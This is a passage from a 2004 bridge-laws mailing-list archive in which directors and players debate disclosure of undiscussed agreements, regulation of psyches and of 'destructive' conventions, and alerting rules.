exactly that point, and then making it yourself? From hermandw@hdw.be Wed Jul 28 10:43:41 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jul 2004 11:43:41 +0200 Subject: [blml] Tuesday night at the Belconnen Labor Club In-Reply-To: References: Message-ID: <4107754D.9070604@hdw.be> Well, Richard, richard.hills@immi.gov.au wrote: > > > > Herman De Wael: > > >>I find these circumstances incredibly impossible. >>You're asking us to believe not only that you do >>not know which of the treatments he prefers, but >>also that you have not made arrangements on what >>to do with 22, 24 and 26 HCP? >> >>I respectfully decline to give an answer to >>highly hypothetical questions. > > > Richard Hills: > > Herman, as an experienced TD, surely by now you > should know that truth is stranger than fiction, > and a TD is required to believe six impossible > things before breakfast? > > This auction actually happened - because (of > course) I was the semi-pro who deliberately > perpetrated an undiscussed 3NT. And I have an > independent witness! The kibitzing TD is a blml > lurker. > > Okay, to avoid a slow play penalty, how do you > answer the questions? > Well, I'd start by describing the two possibilities, including all relevant information concerning the likelihood of such and such, and add that I'll make my choice based on my hand and that I don't have to reveal those. Relevant information probably includes things like the age of my partner and the basic system he plays. I repeat, I find it unbelievable that from all that information you still can have no clue as to the probable system. > :-) > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From grandeval@vejez.fsnet.co.uk Wed Jul 28 11:05:17 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Wed, 28 Jul 2004 11:05:17 +0100 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> Message-ID: <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "Professional men, they have no cares, Whatever happens, they get theirs." [Ogden Nash] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: "Ton Kooijman" To: "Grattan Endicott" ; "blml" Sent: Wednesday, July 28, 2004 8:39 AM Subject: Re: [blml] Deceiving and destroying >> Even in this case it was Josë Damiani who in Sweden was confronted with an artificial psyche and was surprised that the EBL hadn't a regulation forbidding it. < +=+ I am not inclined to respond to vulgarity with vulgarity, but it would be pleasant if distinguished people making assertions could have their facts exact. The EBL has long included such a regulation in its Systems Policy. In Malmoe it said 'fewer than 16 boards' and the Seniors matches were of exactly 16 boards. The belief was that it extended until recently to include matches of 16 boards and that seemingly, without a decision to this effect, the words had changed - I need to go back to the 2000 or 2001 versions of the EBL Systems Policy to check whether this is actually so. Jose's belief was that he was playing under the Systems Policy as he understood it to be, and that he was protected from such action in his match. He would have been if the match had been of fifteen boards. Certainly I was willing to do as I was asked and, since under your chairmanship the WBFLC has reconfirmed the legality of such a regulation - a decision to which I remain loyal, I have no problem with it The only judgement to be made is one of desirability, and I think neither of us will be the effective judge of that. Indeed I think it possible that a decision may now have been made, although I do not know exactly what decision. Stay cool, man. ~ Grattan ~ +=+ From dpb3@fastmail.fm Wed Jul 28 11:39:31 2004 From: dpb3@fastmail.fm (David Babcock) Date: Wed, 28 Jul 2004 06:39:31 -0400 Subject: [blml] Re: blml digest, Vol 1 #1723 - 15 msgs In-Reply-To: <20040728073802.18130.12862.Mailman@toybox.amsterdamned.org> References: <20040728073802.18130.12862.Mailman@toybox.amsterdamned.org> Message-ID: <1091011171.21181.201230958@webmail.messagingengine.com> Hello all, > > I am not going to evade responsibility by saying "No agreement" when I > > intend to make a call based on an assumed agreement. What responsibility does this answer? Maybe you had a responsibility to have had an agreement, but it's too late for that. Maybe I'm missing something, but full disclosure when there's nothing to disclose doesn't need to take very long, does it? David Babcock From john@asimere.com Wed Jul 28 11:58:04 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 28 Jul 2004 11:58:04 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <8wOggAI3exBBFwik@blakjak.demon.co.uk> References: <8wOggAI3exBBFwik@blakjak.demon.co.uk> Message-ID: In article <8wOggAI3exBBFwik@blakjak.demon.co.uk>, David Stevenson writes >RJH wrote >>Richard Hills: >> >>[snip] >> snip >>Completely untrue in EBU theory. As for the >>actual practice by an EBU AC, I refer you to >>the extensive discussion on the thread "2003 EBU >>casebook, appeal 4". > > One swallow does not make a summer. To say that we do something >illegal and against our published advice because of one decision by an >AC seems unfortunate. > >>Alternatively, you may wish to peruse this >>completely true and accurate word-for-word quote >>from EBU TD John (MadDog) Probst: >> >>[snip] >> >>>>>I don't think there'd be *any* (for *any* read >>>>>well not much) argument amongst the English >>>>>ACs or TDs about this. Nailing oppo with a >>>>>screwed up 5-5 agreement just gets you a bad >>>>>score - every time. john > > You make your statements about how the game is ruled in England based >on the ideas of one TD named MadDog? > It doesn't alter the fact that once you swing a 2-suited method into play and it gets screwed up (whether or not it was meant as a 2-suiter), no TD is going to have any sympathy unless you can *prove* it wasn't a screw up, and no AC is going to overturn the TD. That's what actually happens. ... and of course there are exceptions but you need to have a very favourable lie of the tea leaves to want to bet on it. cheers John -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From twm@cix.co.uk Wed Jul 28 13:09:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 28 Jul 2004 13:09 +0100 (BST) Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: Richard - we are asked to respect the spirit *as well as* the letter. Not *instead of* or *rather than*. Tim From blml@blakjak.com Wed Jul 28 13:12:20 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jul 2004 13:12:20 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: Message-ID: James Hudson wrote >I see no tension between 40B and 75A, and I certainly don't see how 40B >can bear the interpretation that players have the right to play whatever >convention they choose. (Is that how you're interpreting it? If not, I >have quite missed your point.) Furthermore, if by 'pre-alert' you mean >what passes under that label in ACBL-land, namely a brief announcement >when two pairs get together at the table just before beginning play, no >rule about pre-alerting will suffice to neutralize the advantage a pair >gains by playing unusual, unfamiliar conventions. Unusual, unfamiliar >conventions must be regulated; but *deceptive*, *destructive* >conventions need not be singled out. They *need* not insofar as that is not the only solution: but what is wrong with singling them out? It is my view that the game of bridge is not one where players should play conventions so as to evade the laws of Full Disclosure. Yes, some of you think that the solution is to have more cumbersome methods of Full Disclosure, but the alternative of disallowing such conventions in a jurisdiction that is not particularly open with permitted conventions anyway seems reasonable. OK, to me it seems better. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jul 28 13:14:36 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jul 2004 13:14:36 +0100 Subject: [blml] Tuesday night at the Belconnen Labor Club In-Reply-To: <002501c47470$0b08c5e0$6401a8c0@san.rr.com> References: <002501c47470$0b08c5e0$6401a8c0@san.rr.com> Message-ID: Marvin French wrote > >From Richard Hills: >> >> You are a semi-sponsor player partnering a semi-professional >> player at a semi-social bridge club for the first time. Your >> partnership's two-minute system discussion resulted in an >> agreement to play KISS Acol with Benjy Twos. >> >> Matchpoint pairs >> Dlr: North >> Vul: All >> >> The bidding has gone: >> >> WEST NORTH EAST SOUTH >> --- 3NT(1) ?(2) >> >> You, South, hold: >> >> J943 >> T7 >> KT8742 >> 7 >> >> (1) Undiscussed. You know that your semi-pro pard does not >> know your personal preferred agreement for a 3NT opening. >> But, both you and your semi-pro pard know that: >> (a) Half the partnerships at this semi-social bridge >> club define a 3NT opening as 25-27 hcp, balanced. >> (b) Half the partnerships at this semi-social bridge >> club play the Gambling 3NT, showing a solid minor. >> >> (2) Please explain. >> >> What explanation of your semi-pro pard's 3NT bid do you >> give? > >The one that accords with the action I intend to take: Either pass, taking >partner for 25-27 HCP; or 4C, taking partner for Gambling 3NT. If I guess >right, no MI, as partner and I are on the same wavelength and we have a *de >facto* partnership agreement. If I guess wrong, there is MI, and the >opponents get redress if any damage results. > >I am not going to evade responsibility by saying "No agreement" when I >intend to make a call based on an assumed agreement. So you are going to tell the opponents a complete untruth and base it on the contents of your hand? In practice you will usually get it right but it is a slippery slope as Adam found out: it is the long term effects of that first lie that cause all the trouble, not the lie itself. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jul 28 13:17:15 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jul 2004 13:17:15 +0100 Subject: [blml] Tuesday night at the Belconnen Labor Club In-Reply-To: <4107565E.8030800@hdw.be> References: <4107565E.8030800@hdw.be> Message-ID: Herman De Wael wrote >richard.hills@immi.gov.au wrote: > >> You are a semi-sponsor player partnering a semi-professional >> player at a semi-social bridge club for the first time. Your >> partnership's two-minute system discussion resulted in an >> agreement to play KISS Acol with Benjy Twos. >> Matchpoint pairs >> Dlr: North >> Vul: All >> The bidding has gone: >> WEST NORTH EAST SOUTH >> --- 3NT(1) ?(2) >> You, South, hold: >> J943 >> T7 >> KT8742 >> 7 >> (1) Undiscussed. You know that your semi-pro pard does not >> know your personal preferred agreement for a 3NT opening. >> But, both you and your semi-pro pard know that: >> (a) Half the partnerships at this semi-social bridge >> club define a 3NT opening as 25-27 hcp, balanced. >> (b) Half the partnerships at this semi-social bridge >> club play the Gambling 3NT, showing a solid minor. >> (2) Please explain. >> What explanation of your semi-pro pard's 3NT bid do you >> give? > >I find these circumstances incredibly impossible. >You're asking us to believe not only that you do not know which of the >treatments he prefers, but also that you have not made arrangements on >what to do with 22, 24 and 26 HCP? This is of course *extremely* common. When two people arrange to play with each other and have a ten minute discussion whether to play four- or five- card majors seems much more important than what to open on 26 points. >I respectfully decline to give an answer to higly hypothetical questions. Of course you have every right but it is a common and likely position. I wonder what you mean by "highly": if you mean because it is unlikely then the position is not. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ehaa@starpower.net Wed Jul 28 14:23:00 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 28 Jul 2004 09:23:00 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CCB@lonsc-s-031.europ e.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CCB@lonsc-s-031.europe.shell.com> Message-ID: <6.1.1.1.0.20040728090556.02bd3900@pop.starpower.net> At 04:19 AM 7/28/04, Hinden wrote: >At 11:12 AM 7/27/04, Hinden wrote: > > >I don't see why this follows. There very definitely was a problem, > and it > >was fixed with this rule. Look at it this way: suppose your > >opponents have > >a small computer screen in front of them explaining what all your bids > >mean, > >alerted or not (after all, isn't this the goal of complete disclosure?). > > > >Methods that simply don't work in that scenario are banned i.e. > >methods that > >are purely designed to confuse you as to their meaning. > >Who is to say what a particular method is "purely designed" to do, >other than the person who designed it? > >Eric Landau >--------------------------------------------------------------- >Why did you bother cutting the next paragraph of my post where >I made exactly that point, and then making it yourself? The portion of Frances's message that was snipped was: "Destroying your relay sequences is completely different. "The only problem with this rule is that, as others have pointed out, it's judgemental and your 'no technical merit' may be my 'best systemic development since rolling keycard Gerber'. But I haven't yet heard of anyone complaining about something actually having been banned under this rule." My point was that while my "no technical merit" may be Frances's "best systemic development...", neither one matters -- unless, of course, one of us has been chosen as the authority officially responsible for such determinations, in which case it is only the other's opinion that doesn't count for anything. And that neither of us should be so chosen -- that the only person who can say for what purpose a method was designed is the person who designed it. I used to play a 1NT opening bid as showing 9-12 HCP. Then the ACBL banned 1NT opening bids on fewer than 10 HCP on the grounds that such opening bids are "purely destructive", with "no technical merit". So now I play it to show 10-12 HCP, which I consider to have a small but significant negative impact on my system as a whole. I submit that the ACBL's "purely destructive" has much the same semantic load as Frances's "designed to confuse", so Frances can now say that she has heard of someone "complaining about something having been banned under [the ACBL's version of] this rule". Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From johnson@CCRS.NRCan.gc.ca Wed Jul 28 14:29:54 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Wed, 28 Jul 2004 09:29:54 -0400 (EDT) Subject: [blml] Deceiving and destroying In-Reply-To: <6.1.1.1.0.20040728090556.02bd3900@pop.starpower.net> from "Eric Landau" at Jul 28, 2004 09:23:00 AM Message-ID: <200407281329.i6SDTs9X002968@athena.ccrs.nrcan.gc.ca> Eric Landau writes: > > I used to play a 1NT opening bid as showing 9-12 HCP. Then the ACBL > banned 1NT opening bids on fewer than 10 HCP on the grounds that such > opening bids are "purely destructive", with "no technical merit". So > now I play it to show 10-12 HCP, which I consider to have a small but > significant negative impact on my system as a whole. Could and indeed has been worse. The first weak 2 rule limited them to 6-10 HCP and a 6 card suit. Left some "sound" openers (who guaranteed 13 HCP) with some pretty good unbiddable hands. Jeff Rubens wrote an article length editorial on this particular rule. From johnson@CCRS.NRCan.gc.ca Wed Jul 28 14:54:25 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Wed, 28 Jul 2004 09:54:25 -0400 (EDT) Subject: [blml] Deceiving and destroying In-Reply-To: from "richard.hills@immi.gov.au" at Jul 28, 2004 02:56:39 PM Message-ID: <200407281354.i6SDsPOi003093@athena.ccrs.nrcan.gc.ca> richard.hills@immi.gov.au writes: > > > > > > Grattan Endicott: > > >It saddens me when I learn that Kaplan went > >into print with scandal on the motivations of > >an unspecified "top ACBL expert". > > Richard Hills: > > Clarification. In the relevant Bridge World > editorial, Kaplan did not smear an unspecified > top expert. Rather, he named names - both the > irritating psycher's name, and also the name of > the psychee/ACBL Board of Directors member. > > I was the one who left those names unspecified, > because I could not specifically remember them > without researching my (disorganised) pile of > old Bridge World magazines. I happen to have recently re-read the same editorial. The "top expert" in question was Sidney Silodor (Who clearly qualifies. At the time he'd have been regarded as among the top players in the world.) I don't recall who the psycher was. Might have been Harry Fishbein. Somebody fairly well known. From ehaa@starpower.net Wed Jul 28 15:43:30 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 28 Jul 2004 10:43:30 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: <6.1.1.1.0.20040728104206.02bc39f0@pop.starpower.net> >At 03:21 AM 7/28/04, Herman wrote: > > >Eric Landau wrote: > >>At 03:19 AM 7/27/04, Herman wrote: > >> > >>>If 2 players have the same idea about the meaning of a bid, does it > >>>really matter if they have discussed this between themselves, with a > >>>known mutual partner, or with some unknown mutual partners? > >> > >>Of course it does. If they have no awareness of any mutual basis for > >>their "same idea", it must derive from their "general knowledge and > >>experience", else that phrase has no meaning. > > > >That is of no help to our discussion, Eric, since it is very well > >possible that they are from a same club and the opponents are not. > >So the knowledge the two partnerss "share" may not be general. > >Of course in some cases the "general knowledge" does come into play, > >but that does not change the fact that this knowledge needs to be > >known to opponents. The "general knowledge" is not a negation of "full > >disclosure", it merely means that some things need not be said, > >because they are assumed known already. > > > >So there is quite a number of knowledge that is "shared" but not > >"general". Does it really matter why it is shared in order for it to > >be disclosable. Can any pair really prove how they come to share a > >piece of knowledge? > >To say that knowledge is "shared" by two people can mean either (a) >imparted from one to the other, not necessarily explicitly, or (b) held >in common, however obtained. When knowledge is shared in the narrower >sense (a), we call that an "agreement". It is not a coincidence that >that is the word used in the relevant laws. > >If they are from the same club, and if there is a common meaning X for >the call in question at that club, both of those are pieces of >knowledge which are "shared" in sense (a), and must be disclosed: "We >have no explicit agreement, but we both play in the Whatever Club, >where it normal to play this as X." That is not the same as, "We have >agreed to play this as X," which wouldn't be true. > >When you don't know what pard's call means, full disclosure requires >making available to the opponents whatever knowledge you have available >that bears on your decision as to what meaning you will assume. It >does not require (and, arguably, forbids) you to pretend that you do >know what it means. > > >Eric Landau ehaa@starpower.net >1107 Dale Drive (301) 608-0347 >Silver Spring MD 20910-1607 From t.kooyman@worldonline.nl Wed Jul 28 16:02:43 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 28 Jul 2004 17:02:43 +0200 Subject: [blml] Deceiving and destroying References: <000301c4737f$97522380$0401010a@Desktop> Message-ID: <004801c474b7$bf4f9f00$0d80b6d4@LNV> > > >>>A player may not make a call or play based on a > > >>>special partnership understanding unless an > > >>>opposing pair may reasonably be expected to > > >>>understand its meaning, > > > > Therefore, my opinion remains unaltered. Given > > the unquoted-by-Tim caveat, I still believe that > > Ton had a clear authority to order the mini-NT > > pair to alert their *surprising* 1NT range. > > > > This is flawed IMO. What if 15-17 is *surprising* > to me. This is my first time playing in the > Somewhere Bridge Federation. Will I get an alert? > > If not 15-17 then at what point does a NT range > become surprising? > > Wayne These are the words of either a pigheaded man or a man who doesn't understand what is said up till now. Your questions will be answered by the TD in charge who should know what is surprising or not. That is why I consult local TD's when I am abroad. ton From t.kooyman@worldonline.nl Wed Jul 28 15:53:18 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 28 Jul 2004 16:53:18 +0200 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> Message-ID: <004701c474b7$bef57110$0d80b6d4@LNV> me: > Even in this case it was Jos=EB Damiani > who in Sweden was confronted with > an artificial psyche and was surprised > that the EBL hadn't a regulation forbidding > it. Grattan: > +=3D+ I am not inclined to respond to vulgarity > with vulgarity, but it would be pleasant if > distinguished people making assertions could > have their facts exact. Could you please explain what in my message made you use the word 'vulgarity'? If you are pointing to the word 'crap' I completely agree with you, sorry= . (and the blame to Noel, though once in a while the word is useful). And what in my message was not correct (exact)? ton The EBL has long > included such a regulation in its Systems > Policy. In Malmoe it said 'fewer than > 16 boards' and the Seniors matches were > of exactly 16 boards. The belief was that > it extended until recently to include matches > of 16 boards and that seemingly, without > a decision to this effect, the words had > changed - I need to go back to the 2000 > or 2001 versions of the EBL Systems > Policy to check whether this is actually so. > Jose's belief was that he was playing under > the Systems Policy as he understood it to be, > and that he was protected from such action > in his match. He would have been if the > match had been of fifteen boards. > Certainly I was willing to do as I was > asked and, since under your chairmanship > the WBFLC has reconfirmed the legality > of such a regulation - a decision to which > I remain loyal, I have no problem with it > The only judgement to be made is one of > desirability, and I think neither of us will be > the effective judge of that. Indeed I think > it possible that a decision may now have > been made, although I do not know > exactly what decision. > Stay cool, man. > ~ Grattan ~ +=3D+ > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From t.kooyman@worldonline.nl Wed Jul 28 16:29:52 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 28 Jul 2004 17:29:52 +0200 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <003801c4742f$a8c7fc60$a402e150@multivisionoem> Message-ID: <004901c474b7$bf8ccf10$0d80b6d4@LNV> > > > > My history may be "flawed" but I was a TD (club level > > to be sure) in 1955, and became an ACBL TD in 1960. > > I stand by my comments, that using 40D to prohibit > > what is specifically allowed by 40A is a subterfuge and > > stretch of language logic > > > The bridge world knows for years that I have the same opinion. And I consider the answer Grattan gives as beside the point. Nobody wants to accuse anybody of lack of integrity or ignoble motivations. Why do you suggest that? The question is that I support people who say that L40A does clearly say that psyches can't be regulated. It is against the principle idea of the psyche to regulate it. Which leaves us with the problem that the use of psyches by some people makes it impossible not to have a weapon against that use. I have told it before: in '87 during the EC championships I was called at a table where an Italian pair had psyched the 1C-opening and the 1D answer. This was the second round in the first session of the open pairs (board 3). I took a paper (A4) and wrote with big letters (WE PSYCHE VERY OFTEN) and I ordered this pair to show this paper to every opponent at the start of a round. (I was the chief TD in that event). The problem was solved, but I wait for the reproachful words from Wayne. I tell this because I think that there are better solutions than infringing the laws to solve this problem. But then dear Kojak wise, integer and noble man have decided we can do that, so whom are we to keep struggling? ton > +=+ I am strongly of the opinion that you, ton and myself, > are all three straight and honest in our opinions and that we > are sincere in working, according to our several lights, for > the good of the game. Indeed, looking round the table at > the meetings we attend, there is no-one of whom I would > allege any other motivation or any less integrity. It saddens > me when I learn that Kaplan went into print with scandal > on the motivations of an unspecified "top ACBL expert" > and I dissociate myself from any current suggestions as to > the ignoble motivations more recently of unspecified "high > level players (even if they weren't so high level but thought > themselves to be so)". The people responsible for the > framing of the 1975 Laws were Geoffrey Butler, Colin > Harding, Edgar Kaplan, Don Oakie, Ralph Mizroch, Carlos > Cabanne, de Miranda Jordao, Littman-Le Maitre, Silvio > Mazzacara and George Rozenkrantz. I am as little prepared > to cast a stone at the integrity of these as I am at the integrity > of any WBFLC member when, at a key juncture, it comprised > Theus, Howard, Kaplan, Ortiz-Patino, Besse, Cabanne, > Ghose, Harding, Wignall, Endicott. > Concerning your view of Law 40D, and your exasperation > that successive authorities have confirmed the right of SOs to > ban psychics of conventional calls, I think you allow an elevated > personal vision of how you think the game is intended to be, > to prejudice your reading of the text; 40D makes an absolute > and unqualified statement and my position is to defend the > interpretation of this authorized by, and legal under, the WBF > By-Laws. As to the future, a brief testing of the force and > direction of the wind tells us which is the lee of the ship and > experience suggests it is to this side that we should dispose of > slops from the galley. > ~ G ~ +=+ From guides@thecustard.tv Wed Jul 28 16:44:39 2004 From: guides@thecustard.tv (guides@thecustard.tv) Date: Wed, 28 Jul 2004 16:44:39 +0100 Subject: [blml] Automated response: Re: Notify Message-ID: Thank you for you email. While we are unable to reply to all emails, we do read them. If you have sent a question you may like to know that we are currently setting up a questions and answers page on thecustard.tv site; if we find an answer to your question we will publish it there. To protect your privacy we will not use your full name or your email address. We hope you continue to enjoy thecustard.tv www.thecustard.tv Please note, we are an independent website and are not responsible for any of the TV programmes that we feature. From Frances.Hinden@Shell.com Wed Jul 28 17:14:32 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Wed, 28 Jul 2004 17:14:32 +0100 Subject: [blml] Deceiving and destroying Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CD7@lonsc-s-031.europe.shell.com> >At 11:12 AM 7/27/04, Hinden wrote: > > >I don't see why this follows. There very definitely was a problem,=20 > and it > >was fixed with this rule. Look at it this way: suppose your > >opponents have > >a small computer screen in front of them explaining what all your = bids > >mean, > >alerted or not (after all, isn't this the goal of complete = disclosure?). > > > >Methods that simply don't work in that scenario are banned i.e. > >methods that > >are purely designed to confuse you as to their meaning. > >Who is to say what a particular method is "purely designed" to do, >other than the person who designed it? > >Eric Landau >--------------------------------------------------------------- >Why did you bother cutting the next paragraph of my post where >I made exactly that point, and then making it yourself? The portion of Frances's message that was snipped was: "Destroying your relay sequences is completely different. "The only problem with this rule is that, as others have pointed out, = it's judgemental and your 'no technical merit' may be my 'best systemic=20 development since rolling keycard Gerber'. But I haven't yet heard of anyone=20 complaining about something actually having been banned under this rule." My point was that while my "no technical merit" may be Frances's "best=20 systemic development...", neither one matters -- unless, of course, one=20 of us has been chosen as the authority officially responsible for such=20 determinations, in which case it is only the other's opinion that=20 doesn't count for anything. And that neither of us should be so chosen=20 -- that the only person who can say for what purpose a method was=20 designed is the person who designed it. I used to play a 1NT opening bid as showing 9-12 HCP. Then the ACBL=20 banned 1NT opening bids on fewer than 10 HCP on the grounds that such=20 opening bids are "purely destructive", with "no technical merit". So=20 now I play it to show 10-12 HCP, which I consider to have a small but=20 significant negative impact on my system as a whole. I submit that the=20 ACBL's "purely destructive" has much the same semantic load as=20 Frances's "designed to confuse", so Frances can now say that she has=20 heard of someone "complaining about something having been banned under=20 [the ACBL's version of] this rule". Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607=20 ---------------------------------------------------------------------- I disagree completely that they have the same semantic load. You can = play methods as destructive as you like against me. =20 The EBU regulation is specifically aimed at methods which are trying to=20 circumvent the Laws on full disclosure (even if only by slipping past careless oppo). I'm not actually aware of many examples, though = RMB and DWS may be able to do better. =20 I am aware of a pair who a) play double as non-lead-directing of all cuebids b) do not alert every pass of a cuebids which strikes me as of dubious legality, but at least they have to=20 alert the double whereas a normal lead-directing double doesn't have to = be alerted. I'm well aware of many examples of people trying to confuse with their=20 explanations, though the TD at the table can come down pretty sharpish = on these. But to me that's evidence that the regulation is useful. I also know people = who have designed signalling systems solely to confuse (if the first card = played=20 from dummy is odd, we play standard, if it's even we play reverse unless = the board is a prime number in which case it's the other way round) = though I don't think that ever saw the light of day when partner veto'd it. From Frances.Hinden@Shell.com Wed Jul 28 17:18:44 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Wed, 28 Jul 2004 17:18:44 +0100 Subject: [blml] Deceiving and destroying Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CD8@lonsc-s-031.europe.shell.com> -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]On Behalf Of Eric Landau Sent: 28 July 2004 14:23 To: Bridge Laws Discussion List Subject: RE: [blml] Deceiving and destroying At 04:19 AM 7/28/04, Hinden wrote: >At 11:12 AM 7/27/04, Hinden wrote: > > >I don't see why this follows. There very definitely was a problem,=20 > and it > >was fixed with this rule. Look at it this way: suppose your > >opponents have > >a small computer screen in front of them explaining what all your = bids > >mean, > >alerted or not (after all, isn't this the goal of complete = disclosure?). > > > >Methods that simply don't work in that scenario are banned i.e. > >methods that > >are purely designed to confuse you as to their meaning. > >Who is to say what a particular method is "purely designed" to do, >other than the person who designed it? > >Eric Landau >--------------------------------------------------------------- >Why did you bother cutting the next paragraph of my post where >I made exactly that point, and then making it yourself? The portion of Frances's message that was snipped was: "Destroying your relay sequences is completely different. "The only problem with this rule is that, as others have pointed out, = it's judgemental and your 'no technical merit' may be my 'best systemic=20 development since rolling keycard Gerber'. But I haven't yet heard of anyone=20 complaining about something actually having been banned under this rule." My point was that while my "no technical merit" may be Frances's "best=20 systemic development...", neither one matters -- unless, of course, one=20 of us has been chosen as the authority officially responsible for such=20 determinations, in which case it is only the other's opinion that=20 doesn't count for anything. And that neither of us should be so chosen=20 -- that the only person who can say for what purpose a method was=20 designed is the person who designed it. I used to play a 1NT opening bid as showing 9-12 HCP. Then the ACBL=20 banned 1NT opening bids on fewer than 10 HCP on the grounds that such=20 opening bids are "purely destructive", with "no technical merit". So=20 now I play it to show 10-12 HCP, which I consider to have a small but=20 significant negative impact on my system as a whole. I submit that the=20 ACBL's "purely destructive" has much the same semantic load as=20 Frances's "designed to confuse", so Frances can now say that she has=20 heard of someone "complaining about something having been banned under=20 [the ACBL's version of] this rule". Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607=20 -------------------------------------------------------------------- Let me put this more simply. I will only rule your method illegal if it loses its point when opponents understand it. A 9-count 1NT prominent on the card and - in EBUland- you are explicitly supposed to find out = the opponents' 1NT range at the start of the round. So difficult to see how you can think these are the same thing. =20 "the only person who can say for what purpose a method was=20 designed is the person who designed it." Entirely true. So you ask them for what purpose the method was = designed. Wtp? From Robin.Barker@npl.co.uk Wed Jul 28 17:41:52 2004 From: Robin.Barker@npl.co.uk (Robin Barker) Date: Wed, 28 Jul 2004 17:41:52 +0100 Subject: [blml] Deceiving and destroying Message-ID: <533D273D4014D411AB1D00062938C4D90404694E@hotel.npl.co.uk> -----Original Message----- From: Hinden, Frances SI-PXS [mailto:Frances.Hinden@Shell.com] Sent: 28 July 2004 17:15 To: Bridge Laws Discussion List Subject: RE: [blml] Deceiving and destroying [snip] The EBU regulation is specifically aimed at methods which are trying to circumvent the Laws on full disclosure (even if only by slipping past careless oppo). I'm not actually aware of many examples, though RMB and DWS may be able to do better. I am aware of a pair who a) play double as non-lead-directing of all cuebids b) do not alert every pass of a cuebids which strikes me as of dubious legality, but at least they have to alert the double whereas a normal lead-directing double doesn't have to be alerted. I'm well aware of many examples of people trying to confuse with their explanations, though the TD at the table can come down pretty sharpish on these. But to me that's evidence that the regulation is useful. I also know people who have designed signalling systems solely to confuse (if the first card played from dummy is odd, we play standard, if it's even we play reverse unless the board is a prime number in which case it's the other way round) though I don't think that ever saw the light of day when partner veto'd it. ______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml RMB writes (bottom posting - although my mail client doesn't like it): The various branches of this threat are getting very catty. I haven't read all of it so I will not say much. I don't know any real examples except the one I imagine DWS has cited. (1N - 2D - 2H - 2N = spades, etc.) I think the answer to this is along the lines Ton used: a big piece of paper and/or a verbal announcement before the opening lead on any 1N - 2R - 2M - 2/3NT sequence. e.g. after 1N - 2H - 2S - 3NT - P "opener's calls after 1NT were forced, he has shown simply a 1NT opener; responder has not shown spades; he has shown simply a raise to 3NT". Robin ------------------------------------------------------------------- This e-mail and any attachments may contain confidential and/or privileged material; it is for the intended addressee(s) only. If you are not a named addressee, you must not use, retain or disclose such information. NPL Management Ltd cannot guarantee that the e-mail or any attachments are free from viruses. NPL Management Ltd. Registered in England and Wales. No: 2937881 Registered Office: Teddington, Middlesex, United 